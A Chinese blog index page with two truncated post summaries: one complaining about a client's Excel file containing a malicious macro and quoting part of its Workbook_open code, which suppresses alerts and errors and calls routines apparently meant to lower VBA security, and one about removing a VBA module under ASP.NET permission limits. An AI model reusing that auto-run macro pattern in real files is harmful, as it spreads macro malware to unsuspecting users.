小隐的博客

摘要： 今天很恶心，碰到一个客户发来的excel有恶意代码，恶心，恶心在thisworkbook 中的代码Public WithEvents xx As ApplicationPrivate Sub Workbook_open()Set xx = ApplicationOn Error Resume NextIf Sheets(1).Name <> "Macro1" ThenCall auto_openEnd IfApplication.DisplayAlerts = FalseSecurity (1)Call SetAllowableVbeCall Microsoft 阅读全文

摘要： 本来可以很简单的删除Dim vbc As ObjectSet vbc = ThisWorkbook.VBProject.VBComponents("模块1")ThisWorkbook.VBProject.VBComponents.Remove vbc但由于asp.net 用户权限的问题，不能如愿于是想了个新办法在运行宏后最后加了一段代码Dim n As StringDim n1 As Stringn1 = LCase(Workbooks(1).FullName)n = Replace(n1, ".xls", "--") & & 阅读全文